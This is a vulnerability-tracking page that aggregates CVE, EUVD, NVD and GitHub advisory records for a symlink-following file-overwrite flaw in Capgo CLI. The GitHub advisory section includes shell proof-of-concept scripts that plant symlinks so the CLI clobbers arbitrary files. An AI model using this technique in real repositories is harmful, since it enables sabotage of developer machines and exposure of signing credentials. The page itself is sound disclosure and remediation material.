Capgo CLI - Arbitrary File Overwrite via Symlink-Following in Local Credential Operations
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-56236
PublishedCapgo CLI before 12.128.2 contains arbitrary file overwrite vulnerabilities in login and build credentials operations that follow symlinks without validation. Attackers can create malicious symlinks in repositories to overwrite arbitrary files or expose credentials with world-readable permissions when developers run the CLI.
- Source published
- 21 Jun 2026 13:26:51 UTC
- Source modified
- 8 Oct 2026 15:23:20 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · 6.8 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N
CVSS 3.1 · 6.1 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N
euvd · EUVD-2026-38165
PublishedCapgo CLI before 12.128.2 contains arbitrary file overwrite vulnerabilities in login and build credentials operations that follow symlinks without validation. Attackers can create malicious symlinks in repositories to overwrite arbitrary files or expose credentials with world-readable permissions when developers run the CLI.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jun 21, 2026, 1:26:51 PM
dateUpdated: Oct 8, 2026, 3:23:20 PM
- Source published
- Jun 21, 2026, 1:26:51 PM (timezone not stated)
- Source modified
- Oct 8, 2026, 3:23:20 PM (timezone not stated)
- Observed here
- 7 Nov 2026 12:35:04 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 4.0 · 6.8 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N
nvd · CVE-2026-56236
PublishedCapgo CLI before 12.128.2 contains arbitrary file overwrite vulnerabilities in login and build credentials operations that follow symlinks without validation. Attackers can create malicious symlinks in repositories to overwrite arbitrary files or expose credentials with world-readable permissions when developers run the CLI.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-59
Original publisher date fields
published: 2026-06-21T14:16:24.270
lastModified: 2026-10-25T23:10:00.167
- Source published
- 21 Jun 2026 14:16:24 UTC
- Source modified
- 25 Oct 2026 23:10:00 UTC
- Observed here
- 27 Oct 2026 15:15:14 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · [email protected] · Secondary · 6.8 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Secondary · 6.1 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N
osv · GHSA-8mpm-q7mh-8fvh
Published### Summary The Capgo CLI writes sensitive local files (.capgo API key file and build credentials JSON) using unsafe file operations that follow symlinks and do not enforce safe permissions. This allows an attacker-controlled repository to cause arbitrary file overwrite on the developer’s machine when the developer runs the CLI inside that repo. Additionally, global build credentials are written with world-readable permissions (664), exposing signing materials on shared systems. ### Details Issue 1 - Arbitrary file overwrite via .capgo symlink (login --local) - Location: src/login.ts - Behavior: loginInternal(..., { local: true }) performs writeFileSync('.capgo', ...) before validating the API key with verifyUser(). - No checks are performed to prevent writing through a symlink. - Result: if .capgo is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled content (the provided API key string), even when login fails. Issue 2 - Arbitrary file overwrite via .capgo-credentials.json symlink (build credentials save --local) - Location: src/build/credentials.ts (local path is join(cwd(), '.capgo-credentials.json')) - Behavior: credentials are written using writeFile() without checking whether the destination is a symlink. - Result: if .capgo-credentials.json is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled JSON (including base64-encoded credential material). This occurs even if the user is not logged in / no API key exists. Issue 3 - Insecure default permissions for global credentials - Location: src/build/credentials.ts (global path $HOME/.capgo-credentials/credentials.json) - Observed permissions after save: -rw-rw-r-- (664) - Impact: credentials file contains sensitive signing material (e.g., Android keystore + Play config; iOS cert/profile/API key in other flows). World/group readability is unsafe on shared hosts and CI runners. Expected minimum: file 0600, directory 0700. ### PoC PoC A: .capgo symlink clobber (writes even when API key invalid) ``` set -euo pipefail BASE="/tmp/capgo_cli_poc_$(date +%s)" HOME_SANDBOX="$BASE/home" REPO="$BASE/repo" TARGET="$BASE/clobbered.txt" mkdir -p "$HOME_SANDBOX" "$REPO" cd "$REPO" git init -q ln -s "$TARGET" .capgo # This should fail auth, but still overwrites TARGET HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] login "INVALID_KEY_SHOULD_FAIL" --local || true echo "== TARGET content ==" cat "$TARGET" ``` _Expected: On invalid key, nothing is written; .capgo should never follow symlinks. Observed: TARGET contains INVALID_KEY_SHOULD_FAIL._ PoC B: .capgo-credentials.json symlink clobber (no login required) ``` set -euo pipefail BASE="/tmp/capgo_creds_symlink_$(date +%s)" HOME_SANDBOX="$BASE/home" REPO="$BASE/repo" TARGET="$BASE/clobbered_creds.txt" mkdir -p "$HOME_SANDBOX" "$REPO" cd "$REPO" git init -q ln -s "$TARGET" .capgo-credentials.json HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \ --local --platform android --appId com.example.app \ --keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true echo "== TARGET exists and contains JSON written via symlink ==" ls -la "$TARGET" || true cat "$TARGET" || true ``` _Expected: Refuse to write if destination is symlink; ideally require safe location and permissions. Observed: TARGET is created/overwritten with credentials JSON._ PoC C: global credentials permissions are world-readable ``` set -euo pipefail BASE="/tmp/capgo_creds_perm_$(date +%s)" HOME_SANDBOX="$BASE/home" mkdir -p "$HOME_SANDBOX" HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \ --platform android --appId com.example.app \ --keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true CREDS="$HOME_SANDBOX/.capgo-credentials/credentials.json" ls -la "$CREDS" || true stat -c '%a %U:%G %n' "$CREDS" || true ``` _Observed: credentials.json created with mode 664 (-rw-rw-r--)._ ### Impact - Arbitrary file overwrite (clobber) as the user running the CLI (developer workstation / CI runner). - This can cause: >developer environment compromise or sabotage (overwriting config files, scripts, env files) >accidental or malicious leakage/destruction of secrets - Local secret exposure: global credentials written as 664 allows other local users to read signing material on shared machines. - A realistic scenario: a developer runs npx @capgo/cli ... --local inside an untrusted repo/template; the repo contains malicious symlinks. ### Suggested remediation - Do not write .capgo until after API key validation succeeds. - For all secret/config writes: >refuse symlink destinations (lstat + isSymbolicLink) >use safe file creation and enforce permissions (0600 for files; 0700 for directories) >write atomically (temp file + rename) after safety checks - Avoid blindly appending to .gitignore unless it is a regular file (also check for symlink).
- Source published
- 18 Mar 2026 16:09:42 UTC
- Source modified
- 8 Jul 2026 09:11:45 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Publisher rating · HIGH